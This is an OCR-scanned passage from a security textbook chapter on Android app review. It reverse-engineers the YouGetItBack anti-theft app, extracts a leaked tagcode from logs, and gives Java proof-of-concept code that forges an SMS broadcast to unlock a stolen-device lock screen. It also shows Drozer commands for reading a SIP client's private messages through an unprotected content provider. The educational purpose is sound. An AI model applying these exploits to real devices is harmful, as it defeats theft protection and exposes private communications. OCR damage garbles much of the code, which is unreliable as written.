At this juncture, we know that the SMS message will need to contain “YGIB:U” 
to potentially reach process UnLockMsg. Look at that method to see if there’s 
anything else you need: 


In [1015]: d. CLASS _Lcom_yougetitback_androidapplication_ 
SmsintentReceiver. METHOD processUnLockMsg. source( 
private void processUnLockMsg(android.content. Context p16, 
java.util. Vector p17) 

{ 


v9 = pl6.getSharedPreferences("SuperheroPrefsFile", 0); 
if (pl7.size() >= 2) { 
vl = pl7.elementAt(1); 
if (v9. getString("tagcode", "") == 0) { 
android.util.Log.v("SWIPEWI PE" 
"recieved unlock message"); 
com yougetitback.androidapplication. wipe. Wi peController. 
stopWi peService(plé) 
v7 = new android.content.Intent("com yougetitback 
androidapplication. BACKGROUND" ) 
v7,setClass(pl6, com. yougetitback. androidapplication. 
ForegroundServi ce) 
pl6.stopService(v7) 
v10 = new android.content.!ntent("com. yougetit back 
androidapplication. BACKGROUND") 
vl0.setClass(pl6, com yougetitback. androidapplication. 
SirenService); 
pl6.stopService(vl10) 
v9.edit(); 
v6 = v9.edit(); 
v6. putBoolean("lockState", 0); 
v6. putString("lockid", ""); 
v6.commit(); 
v5 = new android.content.!ntent("com. yougetit back 
androidapplication. FOREGROUND") 
v5.setClass(pl6, com. yougetitback. androidapplication. 
Unl ockAcknowl edgeServi ce) 
pl6.startService(v5) 


} 
} 


return; 
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This time you see that a key called t agcode is pulled from the SuperheroPrefsFile 


file, and then a series of services are stopped (and another started), which you 
can assume unlocks the phone. This doesn’t seem right, as it would imply that 
so long as this key existed in the Shared Preferences file, it would evaluate 
to true—this is likely a decompiler error, so let’s check the disassembly with 
pretty show: 


In [1025]: d. CLASS _Lcom_yougetitback_androidapplication_ 
SmsintentReceiver. METHOD processUnLockMsg. pretty show() 


12 (00000036) const-string v13, 'SuperheroPrefsFile' 

13 (0000003a) const/4 v14, 0 

14 (0000003c) move-object/froml6 v0, v16 

15 (00000040) invoke-virtual v0, v13, vl4, 
Landroid/content/Context;->getSharedPreferences 
(Lj ava/lang/String; |)Landroid/content/SharedPreferences 

16 (00000046) move-result-object v9 

17 (00000048) const-string vl, ' 

18 (0000004c) const-string v8, ' 

19 (00000050) invoke-virtual/rangevl7, Ljava/util/Vector;-> 
size()| 

20 (00000056) move-result v13 

21 (00000058) const/4 vl4, 2 

22 (0000005a) if-It v13, v14, 122 


[ processUnLockMsg-BB@0x5e processUnLockMsg-BB@0x14e 


processUnLoc 
23 
24 
25 
Lj ava/util/V 
26 
27 
28 
29 
30 


Lj ava/lang/$ 
Lj ava/lang/$ 
31 
32 
Lcom/ yougeti 


Lj ava/lang/$ 
33 
34 
>compareTo(L 
35 
36 
0x94 process 


kMsg- BB@0x5e 
0000005e) const/ 4 


00000060) move- obj ect/fromlé 


00000064) invoke-vir 


tual 


v13, 
v0, 
v0, 


1 
v17 
v13, 


ector; ->elementAt(I)Ljava/lang/Object 


0000006a) move-resul 
0000006c) check-cast 
00000070) const-stri 
00000074) const-stri 
00000078) invoke-int 


tring; Ljava/lang/St 
tring; 
0000007e) move-resul 
00000080) invoke-vir 


ring;)Ljava/lang/S 
00000086) move-resu 


java/lang/String;)| 
0000008e) move-resu 
00000090) if-nez 

UnLockMsg- BB@0x1l4e 


t-object 
ng 


ng 
erface 


ring; ) 


t-object 
tual 


back/androidapplication/ 
Smsi ntentReceiver;->EvaluateToken( 


ring; 
t-object 


00000088) invoke-virtual 


~ 


vl 
vl, 
v13, 
v14, 
v9, 


v13 
v15, 


v14 
v13, 


v13 
v13, 


Lj ava/lang/String; 
'tagcode' 


v13, 


Landroid/content/SharedPreferences; - >getString( 


vl, 


v14, 


95 


[ 


v14, 


Lj ava/lang/ String; - 


processUnLockMs g- BB@ 
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processUnLockMsg- BB@0x94 


37 (00000094) const-string v13, 'SWIPEWI PE' 
38 (00000098) const-string v14, ‘recieved unlock message 
39 (0000009c) invoke-static v13, v14, Landroid/util/Log; 


>v(Ljava/lang/String; Ljava/lang/String;)| 
40 (000000a2) invoke-static/range v16 
Lcom/ yougetitback/androidapplication/wipe/WipeController; 
->stopWi peService(Landroid/content/Context;)V 
[ processUnLockMsg-BB@0xa8 


That clears it up—the value of the second element of the vector passed in is 
passed to Eval uat eToken, and then the return value is compared to the value of 
thetagcode key in the Shared Preferences file. If these two values match, then 
the method continues as you previously saw. With that, you should realize that 
your SMS message will need to effectively be something like YGI B: U followed 
by a space and the tagcode value. On a rooted device, retrieving this tag code 
would be fairly easy, as you could just read the SuperheroPrefsFile directly 
off the file system. However, try taking some dynamic approaches and see if 
you come up with anything else. 


Dynamic Analysis 


Dynamic analysis entails executing the application, typically in an instrumented 
or monitored manner, to garner more concrete information on its behavior. This 
often entails tasks like ascertaining artifacts the application leaves on the file 
system, observing network traffic, monitoring process behavior...all things that 
occur during execution. Dynamic analysis is great for verifying assumptions 
or testing hypotheses. 

The first few things to address from a dynamic standpoint are getting a handle 
on how a user would interact with the application. What is the workflow? What 
menus, screens, and settings panes exist? Much of this can be discovered via 
static analysis—for instance, activities are easily identifiable. However, getting 
into the details of their functionality can be time consuming. It’s often easier 
to just interact directly with the running application. 

If you fire up| ogcat while launching the app, you see some familiar activity 
names as the ActivityManager spins the app up: 

|/ActivityManager( 245): START {act=android.intent. action. MAIN 

cat=[android. intent. category. LAUNCHER] fl g=0x10200000 

cmp=com yougetitback.androidapplication. virgin. mobil e/ 

com yougetitback.androidapplication.ActivateSplashScreen u=0} from pid 449 

| /ActivityManager( 245): Start proc 

com yougetitback.androidapplication. virgin. mobile for activity 

com. yougetitback. androidapplication. virgin. mobil e/ 


com yougetitback.androidapplication. ActivateSplashScreen: 
pid=2252 uid=10080 gids={1006, 3003, 1015, 1028} 


109 


110 Chapter 4 = Reviewing Application Security 


First, you see the main activity (Acti vateSpl ashScreen), as observed via 
Androguard’s get_main_activity,and you see the main screen in Figure 4-5. 


CAA 


media 


Ts & Cs and Permissions “1 K2] 


To activate Mobile Rescue, 
you'll need to agree to these 
Ts & Cs... 


I have read, understood and 
accept the T 


I agree to let Mobile Rescue 
collect and use my location 
data as part of the service 
You can switch this off later 
online, if you like. 


No thanks [slate 


Figure 4-5: Splash screen/main activity 


Moving through the app a bit more, you see prompts for a PIN and a secu- 
rity question as shown in Figure 4-6. After supplying this info, you see some 
notable output in| ogcat. 

D/YGIB Test( 2252): Context from- 

>com. yougetitback.androidapplication. virgin. mobile 
/RequestConfigurationService( 2252): RequestConfigurationService 
created!!! 
D/ REQUESTCONFI GURATI ONSERVICE( 2252): onStart Command 
/ActivationAcknowl edgeService( 2252): RequestConfigurationService 
created!!! 
/RequestConfigurationService( 2252): RequestConfigurationService 
stopped!!! 
/PingService( 2252): PingService created!!! 

D/PINGSERVICE( 2252): onStart Command 

/ActivationAcknowledgeService( 2252): RequestConfigurationService 
stopped!!! 
/PingService( 2252): RequestEtagService stopped!!! 

D/ C2DMReceiver( 2252): Action is com google. android.c2dm intent 
REGI STRATI ON 
/intent telling something( 2252): == null ===null === Intent { 
act=com. google. android.c2dm.intent. REGISTRATION fl g=0x10 
pkg=com. yougetitback.androidapplication. virgin. mobile 
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cmp=com. yougetitback. androi dapp 

lication. virgin. mobil e/ 

com. yougetitback. androidapplication.C2DMReceiver (has extras) } 
|/ActivityManager( 245): START 

{cmp=com. yougetitback.androidapplication. virgin. mobil e/ 

com. yougetitback. androidapplication. ModifyPinScreen u=0} from pid 2252 


media 


PIN number 2 Ə 


Right, now pick a 4 digit PIN 
that you'll easily remember. 


New PIN 


Security question 


Mums maiden name Y 


Figure 4-6: PIN input and security questions screen 


Sure enough, there are calls being logged to start and stop some of the services 
you observed earlier, along with familiar activity names. Further down in the 
log, however, you see an interesting information leak: 


D/update ( 2252): serverUrl-->https://virgin. yougetitback.com/ 

D/ update ( 2252): settingsUrl-->vaultUpdateSettings? 

Di update ( 2252): password-- >3f679195148a1960f66913d09e76fca8dd31dc96 
Diupdate ( 2252): tagCode-->137223048617183 


Di update ( 2252): encodedXml Data- 

>%3c%3F xml %20version%3d' 1. 0' %20encodi ng%3d' UTF- 

8' H3f %3e%3cConfi ghIe%3cSet tings %3e%3cPin%3e1234%3¢ 

%2f Pi n%3e%3c%2fSettings%3e%3c%2f Config%3e 

D/YGIB Test( 2252): con. getResponseCode()-->200 

D/YGIB Test( 2252): urlString— 

phttps://virgin. yougetitback.com/vaultUpdateSettings?pword= 
3f679195148a1960f 66913d09e76f caBdd31dc96&t agi d=137223048617183&t ype=s 
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D/YGIB Test( 2512): content-->%3c%3f xml %20version%3d'1. 0' %20encodi ng%3d' 
UTF- 8'%3f%3e%3cConfi g%3e%3cSettings%3e%3cPi n%3e1234 %3c %2F Pin 
%3e%3c%2f Setti ngs%3e%3c%2f Config %3e 


Even within the first few steps of this application’s workflow, it 
already leaks session and configuration data, including what could be the 
tagcode you were eyeing during static analysis. Diddling with and then saving 
configuration settings in the application also yields similarly verbose output 
in the log buffer: 


D/ update ( 2252): serverUrl-->https://virgin. yougetit back. com/ 

D/ update ( 2252): settingsUrl-->vaultUpdateSettings? 

Diupdate ( 2252): password-->3f679195148a1960f 66913d09e76f ca8dd31ldc 96 
Diupdate ( 2252): tagCode-->137223048617183 


Di/update ( 2252): encodedXml Data- 

>%3¢ %3f xm %20version%3d'1.0' %20encoding%3d' UTF- 

8' %3f W3e%3cConf i g%3e%3cSetti ngs%3e%3cSer ver No%3e+447781482187%3c H2F Server No%3e% 
3cServerURL%3ehttps: %2f M2Ffvirgin. yougetitback. com%2f %3c %2f Server URL %3e%3c Backup 
URL %3eContactsSave%3f %3c%2f BackupURL%3e%3cMessageURL%3ecal | Mai nETagUSA%3f %3c%2f 
MessageURL %3e%3cFi ndURL %3eFi nd%3f %3c%2f Fi ndURL%3e%3cExt BackupURL%3eext Contactss 
ave %3f %3c%2f Ext BackupURL%3e%3cRestoreURL%3erestorecontacts%3f %3c %2f Rest oreURL %3 
e%3cCall Centre%3e+44 2033222955 %3c M2F Call Centre%3e%3cCount ryCode%3eGB%3c %2f Count 
ryCode%3e%3cPin%3e1234%3c %2F Pi n%3e%3CURLPassword%3e3f 679195148a1960F 66913d09e76 
fca8dd31dc96%3c%2f URLPassword%3e%3cRoami ngLock%3eof f %3c M2f Roami ngLock%3e%3c Si mL 
ock%3eon%3c%2f Si mLock*%3e%3cOFflineLock %3eof f%3c%2F OF fli neLock%3e%3cAut ol ock %20 

nterval %3d%220%22%3 eof f %3c%2FAutolock%3e%3cCal | PatternLock%200utsideCal l s%3d%22 
6%22%20Numcal I s%3d%226%22%3e0on%3c%2f Call PatternlLock%3e%3cCountryLock%3eof f %3c %2 
fCountryLock%3e%3c%2fSettings%3e%3cCountryPrefix%3e%3cPrefix%3e+44%3c%2fPrefix% 
3e%3c%2f CountryPrefix%3e%3cl nt Prefix%3e%3cl nternational Prefi x%3e00%3c%2flnterna 
tional Prefix%3e%3c %2fl nt Prefix%3e%3c %2f Confi g%3e 


As mentioned previously, this information would be accessible by an appli- 
cation with the READ_LOGS permission (prior to Android 4.1). Although this 
particular leak may be sufficient for achieving the goal of crafting the special 
SMS, you should get a bit more insight into just how this app runs. For that you 
use a debugger called AndBug. 

AndBug connects to Java Debug Wire Protocol (DWP) endpoints, which the 
Android Debugging Bridge (ADB) exposes for app processes either marked 
explicitly with android: debuggabl e=true in their manifest, or for all app pro- 
cesses if the ro. debuggabl e property is set to 1 (typically set to 0 on production 
devices). Aside from checking the manifest, running adb | dwp show debuggable 
PIDs. Assuming the target application is debuggable, you see output as follows: 


$ adb j dwp 
2252 


Using gr ep to search for that PID maps accordingly to our target process (also 
seen in the previously shown logs): 


$ adb shell ps | grep 2252 
u0_a79 2252 88 289584 36284 ffffffff 00000000 S 
com yougetitback. androidapplication. virgin. mobile 
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After you have this info, you can attach AndBug to the target device and 
process and get an interactive shell. Use the she! | command and specify the 


target PID: 
$ andbug shell - 


## AndBug (C) 
>> 


p 2252 


2011 Scott W. Dunlop <swdunl op@gmai!. com> 


Using the cl asses command, along with a partial class name, you can see 
what classes exist in the com. youget it back namespace. Then using the met hods 
command, discover the methods in a given class: 


>> classes com. yo 

## Loaded Classes 
com. youge 

PinDisplayScreen$ 
com. youge 


com. youge 
PinDisplayScreen$ 
com. youge 
com. youge 
com. youge 


>> methods com. yougetitback. androi 

## Methods Lcom/yougetitback/ andro 
` 

ai 


com. youge 
com. youge 
foregroundUl (Land 
com. youge 
getAction(Ljava/ 
com. youge 
getMessagesFromin 
Sms Message; 
com. youge 
isPinLock(Lj aval 
com. youge 
isValidMessage( 


com. youge 
processUnLockMsg 


ugetitback 


back.and 
XMLParser 
back.and 


0 
Ha 
0 


back. andro 
PinDisplayS 
back. andro 
back. andro 
back. andro 


nd 
nd 


back.a 
back.a 
roid/conten 
back.and 
ang/ String; 
back.and 
ent (Land 


back.and 
ang/ String; 
back.and 


back.and 
Landroid/co 


oi 


oi 
oi 


oi 


; 
java/lang/ St 


oi 


idapplication. 
ndler 
idapplication. settings. main 
idapplication. 
creenBroadcast 
idapplication. SmsI ntentRece 
idapplication. C2DMRecei ver 
idapplication.settings.sett 
dapplication.Smsinten 
idapplication/Smsinte 
dapplication. SmsintentRece 
dapplication. SmsIntentRece 
/ Context; )V 
dapplication. SmsintentRece 
Ljava/lang/ String; 
dapplication. SmsintentRece 
d/content/Intent;)[Landro 
dapplication. SmsintentRece 
Landroid/content/Context:)Z 
dapplication. SmsintentRece 
ring; Landroid/content/Conte 
dapplication. SmsintentRece 
ntent/Context;Ljava/util/Ve 


.Entrance$l 


ver 
ing. Setting 
Receiver 

nt Receiver: 
iver. <init>()V 
iver, 

ver. 

iver, 


d/telephony/ 
ver. 


iver, 
yte 


iver, 
ctor; )V 


In the preceding code you see the class you were statically analyzing and 
reversing earlier: Sms| nt ent Recei ver, along with the methods of interest. You 
can now trace methods and their arguments and data. Start by tracing the 
SmsintentReceiver class, using the cl ass- trace command in AndBug, and 
then sending the device a test SMS message with the text Test message: 


>> class-trace com. yougetitback. androidapplication.SmsiIntent Receiver 


## Setting Hooks 


Hooked com. yougetitback. androidapplication. SmsI ntent Receiver 
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com yougetitback. androidapplication. Smsintent Receiver 


>> ## trace thread <l> main (running suspended) 
com. yougetitback. androidapplication. SmsintentReceiver. <init>()V:0 
this=Lcom/yougetitback/androidapplication/Smsintent Receiver 
<830009571568> 


## trace thread <l> main (running suspended) 
com yougetitback. androidapplication. Smsintent Receiver. onRecei ve( 
Landroid/content/Context;Landroid/content/Intent;)V:0 
this=Lcom/yougetitback/androidapplication/Smsintent Receiver 
<830009571568> 
intent=Landroid/content/Intent; <830009581024> 


## trace thread <1> main (running suspended) 
com. yougetitback. androidapplication. Smsintent Receiver 
getMessagesFromintent(Landroid/content/Intent; ) 
[Landroid/telephony/Sms Message; : 0 
this=Lcom/yougetitback/androidapplication/Smsintent Recei ver 
<830009571568> 
intent=Landroid/content/Intent; <830009581024> 


com yougetitback. androidapplication. Smsintent Receiver 
isValidMessage(Lj ava/lang/String;Landroid/content/Context;)Z:0 
this=Lcom/yougetitback/androidapplication/Smsintent Receiver 
<830009571568> 
msg=Test message 
context=Landroid/app/ReceiverRestrictedContext; <830007895400> 


As soon as the SMS message arrives, passed up from the Telephony subsystem, 
your hook fires, and you begin tracing from the initial onRecei ve method and 
beyond. You see the Intent message that was passed to onRecei ve, as well as the 
subsequent, familiar messages called thereafter. There’s also the msg variable in 
isValidMessage,containing our SMS text. As an aside, looking back the! ogcat 
output, you also see the message body being logged: 


|/MessageListener:( 2252): Test message 


A bit further down in the class-trace, you see a call toi sVal i dMes sage, includ- 
ing aContext object being passed in as an argument—and a set of fields in that 
object which, in this case, map to resources and strings pulled from the strings 
table (which you resolved manually earlier). Among them is the YG! B: U value you 
saw earlier, and a corresponding key YGI BUNLOCK. Recalling your static analysis 
of this method, the SMS message body is being checked for these values, calling 
isPinLock if they're not present, as shown here: 

## trace thread <l> main (running suspended) 


com yougetitback.androidapplication. Smsintent Receiver. getActi on( 
Lj ava/lang/String;)Ljava/lang/String;:0 
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this=Lcom/yougetitback/androidapplication/Smsintent Receiver 
<830007979232> 

message=Foobarbaz 

com. yougetitback. androidapplication. Smsintent Receiver 

el ole Wald at T Landroid/content/ Context; )Z: 63 

YG! BDEACTI VATE=YGI B: D 

YG! BFI ND=YGI B: F 

context=Landroid/app/ReceiverRestrictedContext; <830007987072> 

YGI BUNLOCK=YGI B: U 

this=Lcom/yougetitback/androidapplication/Smsintent Receiver; 
<830007979232> 

YG! BBACKUP=YGI B: B 

YG! BRESYNC=YGI B: RS 

YG! BLOCK=YGI B: L 

YG! BWI PE=YGI B: W 

YGI BRESTORE=YGI B: E 

msg=Foobarbaz 

YG! BREGFROM=YGI B: T 


## trace thread <l> main (running suspended) 
com. yougetitback. androidapplication. SmsI ntentReceiver.isPinLock( 
Lj ava/lang/String;Landroid/content/Context;)Z:0 
this=Lcom/yougetitback/androidapplication/Smsintent Receiver 
<830007979232> 
msg=Foobarbaz 
context=Landroid/app/ReceiverRestrictedContext; <830007987072> 


In this casei sPinLock then evaluates the message, but the SMS message 
contains neither the PIN nor one of those strings (like YG! B: U). The app does 
nothing with this SMS and instead passes it along to the next registered Broadcast 
Receiver in the chain. If you send an SMS message with the Y GI B: U value, you'll 
likely see a different behavior: 


## trace thread <l> main (running suspended) 
com yougetitback. androidapplication. Smsintent Receiver 
processContent(Landroid/content/Context; Lj ava/lang/String;)V:0 
this=Lcom/yougetitback/androidapplication/SmsintentRecei ver 
<830008303000> 
m=Y GIB: U 
context=Landroid/app/ReceiverRestrictedContext; <830007987072> 


## trace thread <1> main (running suspended) 
com yougetitback. androidapplication. Smsintent Receiver 
processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V:0 
this=Lcom/yougetitback/androidapplication/Smsintent Receiver 
<830008303000> 
smsTokens=Lj ava/util/ Vector; <830008239000> 
context=Landroid/app/ReceiverRestrictedContext; <830007987072> 
com. yougetitback. androidapplication. Smsintent Receiver 
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processContent(Landroid/content/Context; Lj ava/lang/String;)V:232 


<83000830 


<83000788 


YG 
YG 
co 
YG 


thi 
3000> 


se 


8144> 


BDEACTI VATE=YGI B: D 
BFI ND=YGI B: F 


ntext=Landroid/app/ReceiverRestrictedContext; <830007987072> 


BUNLOCK=YGI B: U 
s=Lcom/yougetitback/androidapplication/SmsintentReceiver 


tings=Landroid/app/ Context! mpl $SharedPreferencesi mpl 


m=YGI B: U 


YG 
YG 
YG 


BBACKUP=YGI B: B 
BRESYNC=YGI B: RS 
BLOCK=YGI B: L 


messageTokens=Ljava/util/Vector; <830008239000> 


YG 
YG 
co 
YG 


BWI PE=YGI B: W 
BRESTORE=YGI B: E 


mmand=YGI B: U 


BREGFROM=YGI B: T 


This time, you ended up hitting both the process Cont ent method and subse- 
quently the process UnLockMsg method, as you wanted. You can set a breakpoint 
on the process UnLockMsg method, giving an opportunity to inspect it in a bit 
more detail. You do this using AndBug’s br eak command, and pass the class 
and method name as arguments: 


>> break com yougetitback. androidapplication. SmsintentRecei ver 
processUnLockMsg 
## Setting Hooks 


Hooked <536870913> com. yougetitback. androidapplication 


SmsI ntentReceiver. processUnLockMsg(Landroid/content/Context 
Ljava/util/Vector;)V:0 <class '‘andbug.vm.Location' > 
>> ## Breakpoint hit in thread <1> main (running suspended), process 


suspended. 


com. yougetitback. androidapplication. SmsintentRecei ver 


processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V:0 
com. yougetitback. androidapplication, SmsintentRecei ver 

processContent(Landroid/content/Context;Ljava/lang/String;)V:232 
com yougetitback. androidapplication. SmsI ntent Receiver. 

onReceive(Landroid/content/ Context; Landroid/content/Intent;)V: 60 


You know from the earlier analysis that get String will be called to retrieve 
some value from the Shared Preferences file, so add acl ass-trace onthe 
android.content.SharedPreferences class. Then resume the process with 
the resume command: 


>> ct android.content. SharedPreferences 
## Setting Hooks 
Hooked android. content. SharedPreferences 


>> resume 
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Akola Running a method-trace or setting a breakpoint directly on certain methods 
can result in blocking and process death, hence why you’re just tracing the entire 
class. Additionally, the r es ume command may need to be run twice. 


After the process is resumed, the output will be fairly verbose (as before). 
Wading once again through the call stack, you'll eventually come up on the 
get String method: 


## Process Resumed 
>> ## trace thread <l> main (running suspended) 


## trace thread <l> main (running suspended) 
android. app.SharedPreferencesl mpl. getString(Ljava/lang/ String; 
Lj ava/lang/String;)Ljava/lang/String;:0 
- thissLandroid/app/SharedPreferences! mpl; <830042611544> 
def Val ue= 
key=tagcode 
com. yougetitback. androidapplication. Smsintent Receiver 
processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V: 60 
smsTokens=Ljava/util/Vector; <830042967248> 
Settings=Landroid/app/SharedPreferences|i mpl; <830042611544> 
this=Lcom/yougetitback/androidapplication/Smsintent Receiver 
<830042981888> 
-- TYPELOCK=L 
-- YGIBTAG=TAG 
- TAG=AAAA 
- YGIBTYPE=TYPE: 
context=Landroid/app/ReceiverRestrictedContext; <830042704872> 
setting= 


And there it is, the Shared Preferences key you were looking for: t agcode, 
further confirming what you identified statically. This also happens to corre- 
spond to part of a log message that was leaked earlier, wherein t agCode was 
followed by a numeric string. Armed with this information, you know that our 
SMS message in fact needs to contain YG! B: U followed by a space and a tagcode 
value, or in this case, YGI B: U 137223048617183. 


Attack 


Although you could simply send your specially crafted SMS message to the 
target device, you'd still be out of luck in simply knowing the t agcode value if 
it happened to be different for some other, perhaps arbitrary, device (which is 
practically guaranteed). To this end, you’d want to leverage the leaked value 
in the log, which you could get in your proof-of-concept app by requesting the 
READ_LOGS permission. 
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After this value is known, a simple SMS message to the target device, following 
the format YG! B: U 137223048617183 would trigger the app’s unlock component. 
Alternatively, you could go a step further and forge the SMS_RECEI VED broadcast 
from your proof-of-concept app. As sending an implicit $MS_RECE| VED Intent 
requires the SEND_SMS_ BROADCAST permission (which is limited only to system 
applications), you'll explicitly specify the Broadcast Receiver in the target app. 
The overall structure of SMS Protocol Data Units (PDUs) is beyond the scope 
of this chapter, and some of those details are covered in Chapter 11, but the 
following code shows pertinent snippets to forge the Intent containing your 
SMS message: 

String body = "YGIB:U 137223048617183"; 

String sender = "2125554242" 

byte[] pdu = null 

byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPart yBCD( " 
0000000000"); 

byte[] senderBytes = 


PhoneNumberUtils.networkPortionToCalledPart yBCD( sender) 
int Ismcs = scBytes. length; 


byte[] dateBytes = new byte[7]; 

Calendar calendar = new GregorianCal endar ( 

dateBytes[0] = reverseByte((byte calendar. get( Calendar. YEAR) )) 

dateBytes[{1] = reverseByte((byte calendar.ge 
Calendar. MONTH) + 1)); 

dateBytes[2] = reverseByte((byte calendar. ge 
Calendar. DAY_OF_MONTH))); 

dateBytes[3] = reverseByte((byte calendar. ge 
Calendar. HOUR _OF_DAY))); 

dateBytes[4] = reverseByte((byte calendar.ge 
Calendar. MINUTE) ) 

dateBytes[5] = reverseByte((byte calendar.ge 
Calendar. SECOND) ) 

dateBytes[6] = reverseByte((byte (calendar. ge 
Calendar. ZONE OFFSET) + calendar 

.get(Calendar. DST_OFFSET)) / (60 * 1000 * 15))); 


try 
{ 
ByteArrayOutputStream bo = new ByteArrayOutputStream); 
bo. write(|lsmcs) 
bo. write(scBytes); 
bo. write(0x04); 
bo. write((byte) sender. length()); 
bo. write(sender Bytes) 
bo. write(0x00); 
bo. write(0x00); // encoding: O for default 7bit 
bo. write(dateBytes); 


String sReflectedClassName = 
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"com. android.internal.telephony. GsmAl p 
Class cReflectedNFCExtras = 
Method stringToGsm7Bit Packed 
"stringToGsm7Bit Packed", 
stringToGsm7Bit Packed. setAcc 
byte bodybytes = (byte[]) 

null, body) 
bo. write(bodybytes 


pdu = bo. 
Intent in 
intent.se 


oByteArray 
ent = new Intent(); 
Component(new Compon 
androidapplication. virgin. mobile", 
"com. yougetitback. androidapplication.§ 
intent.setAction("android. prov 
intent. putExtra("pdus", new Ob 
intent. putExtra( "format", "3gp 


context. sendOrderedBroadcast(i 


new Class[] 


habet"; 
Class.forName(sReflectedClassName); 
= cReflectedNFCExtras. get Method 

{ String.class }); 
essible(true); 

stringToGsm7Bit Packed.invoke 


entName("com. yougetitback 


msintentReceiver")); 

ider. Telephony. SMS_RECEI VED"); 
ject{] { pdu J; 

p"); 


ntent, null); 


The code snippet first builds the SMS PDU, including the YG! B: U command, 
tagcode value, the sender’s number, and other pertinent PDU properties. It 
then uses reflection to call st ringToGsm7Bit Packed and pack the body of the 
PDU into the appropriate representation. The byte array representing the PDU 


body is then placed into the pdu object. 


Next, An Intent object is created, with 


its target component set to that of the app’s SMS receiver and its action set to 
SMS_RECEI VED. Next, some extra values are set. Most importantly, the pdu object 
is added to the extras using the "pdus" key. Finally,sendOrderdBroadcast is 
called, which sends your Intent off, and instructs the app to unlock the device. 

To demonstrate this, the following code is the! 0gcat output when the device 
is locked (in this case via SMS, where 1234 is the user’s PIN which locks the 


device): 
/MessageListener:(14008): 1234 
D/ FOREGROUNDSERVI CE( 14008): onCreate 


/FindLocationService( 14008) 
D/ FOREGROUNDSERVI CE( 14008) 
D/ SI RENSERVICE(14008): onCreate 
D/ SI RENSERV! CE( 14008) 


/FindLocationService( 14008) 
/ActivityManager( 13738) 
cat=[test. foobar. 123] 


FindLocationService created!!! 
onStart Command 


onStart Command 


/LockAcknowl edgeService(14008): LockAcknowl edgeService created!!! 
FindLocationService stopped!!! 

START {act=android.intent. action. VIEW 
fl g=0x10000000 


cmp=com. yougetitback. androidapplication. virgin. mobil e/ 


com. yougetitback. androidapplication. 


SplashScreen u=0} from pid 14008 


Figure 4-7 shows the screen indicating a locked device. 
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REPORTED AS LOST/STOLEN 


Touch screen for options 


Figure 4-7: App-locked device screen 


When your app runs, sending the forged SMS to unlock the device, you see 
the following | ogcat output: 


|/MessageListener: (14008): YGIB:U TAG: 136267293995242 

V/ SWI PEW PE(14008): recieved unlock message 

D/ FOREGROUNDSERVI CE(14008): onDestroy 

|/ActivityManager(13738): START {act =android.intent. action. VIEW 
cat=[test.foobar.123] flg=0x10000000 

cmp=com. yougetitback. androidapplication. virgin. mobil e/ 

com. yougetitback. androidapplication.SplashScreen (has extras) u=0} 
from pid 14008 

D/ SI RENSERVICE( 14008): onDestroy 

|/UnlockAcknowl edgeService(14008): UnlockAcknowledgeService created!!! 
|/UnlockAcknowl edgeService(14008): UnlockAcknowledgeService stopped!!! 


And you return to an unlocked device. 


Case Study: SIP Client 


This brief example shows you how to discover an unprotected Content Provider— 
and retrieve potentially sensitive data from it. In this case, the application is 
CSipSimple, a popular Session Initiation Protocol (SIP) client. Rather than going 
through the same workflow as the previous app, we'll jump right into another 
quick-and-easy dynamic analysis technique. 
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Enter Drozer 


Drozer (formerly known as Mercury), by MWR Labs, is an extensible, modular 
security testing framework for Android. It uses an agent application running on 
the target device, and a Python-based remote console from which the tester can 
issue commands. It features numerous modules for operations like retrieving 
app information, discovering unprotected IPC interfaces, and exploiting the 
device. By default, it will run as a standard app user with only the | NTERNET 
permission. 


Discovery 


With Drozer up and running, you quickly identify Content Provider URIs 
exported by CSipSimple, along with their respective permission requirements. 
Run the app. provider.info module, passing -a com. csi psi mpl e as the argu- 
ments to limit the scan to just the target app: 


dz> run app. provider.info -a com csipsimple 
Package: com.csipsi mple 
Authority: com csipsimple. prefs 
Read Permission: android. permission. CONFI GURE_SIP 
Write Permission: android. permission. CONFI GURE_SIP 
Multiprocess Allowed: False 
Grant Uri Permissions: False 
Authority: com csipsimple.db 
Read Permission: android. permission. CONFI GURE_SI P 
Write Permission: android. permission. CONFI GURE_SI P 
Multiprocess Allowed: False 
Grant Uri Permissions: False 


To even interact with these providers, the android. permission. CONFI GURE_SIP 
permission must be held. Incidentally, this is not a standard Android permis- 
sion—it is a custom permission declared by CSipSimple. Check CSipSimple’s 
manifest to find the permission declaration. Run app. package. manifest, passing 
the app package name as the sole argument. This returns the entire manifest, 
so the following output has been trimmed to show only the pertinent lines: 


dz> run app. package. manifest com csipsimple 


<permi ssion | abel ="@2131427348" name="android. permission. CONFI GURE_SI P" 
protectionLevel="0x1" permissionGroup="android. permission- group. COST_ MONEY" 
descri pti on=" @2131427349"> 

</ permission> 


You see that the CONF! GURE_ S$! P permission is declared with a protectionLevel of 
0x1, which corresponds to “dangerous” (which would prompt the user to accept 
the permission at install time, something most users might do anyway). However, 
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as neither signature nor signatureOrSystem are specified, other applications may 
request this permission. The Drozer agent does not have this by default, but 
that’s easily rectified by modifying the manifest and rebuilding the agent APK. 

After your re-minted Drozer agent has the CONF! GURE_SI P permission, you 
can begin querying these Content Providers. You start by discovering the content 
URIs exposed by CSipSimple. To accomplish this, run the appropriately named 
app. provider.finduris module: 


dz> run app. provider. finduri com. csi psi mple 
Scanning com csipsimple.. 


content://com.csipsimple. prefs/raz 
content://com.csi psi mple. db/ 
content://com.csipsimple.db/calllogs 


content://com.csipsimple.db/outgoing filters 
content://com.csipsimple.db/accounts/ 
content://com.csipsimple.db/accounts status/ 
content://com.android.contacts/contacts 


oo oo o 


Snarfing 


This gives us numerous options, including interesting ones like messages 
and cal |l ogs. Query these providers, starting with messages, using the 
app. provider. query module, with the content URI as the argument. 


dz> run app. provider. query content://com.csi psi mple.db/ messages 


| id | sender | receiver | contact | body 

| mime_type | type | date | status | read | full_sender | 
Jed [SS ELE | sip: bob@ostel.co | sip: bob@ostel.co | Hello! 

text/plain | 5 | 1372293408925 | 405 | 1 | < sip: bob@ostel.co> 


This returns the column names and rows of data stored, in this case, in a SQLite 
database backing this provider. The instant messaging logs are accessible to you 
now. These data correspond to the message activity/screen shown in Figure 4-8. 

You can also attempt to write to or update the provider, using the 
app. provider. update module. You pass in the content URI; these! ection and 
sel ection- args, which specifies the query constraints; the columns you want to 
replace; and the replacement data. Here change ther ecei ver and body columns 
from their original values to something more nefarious: 

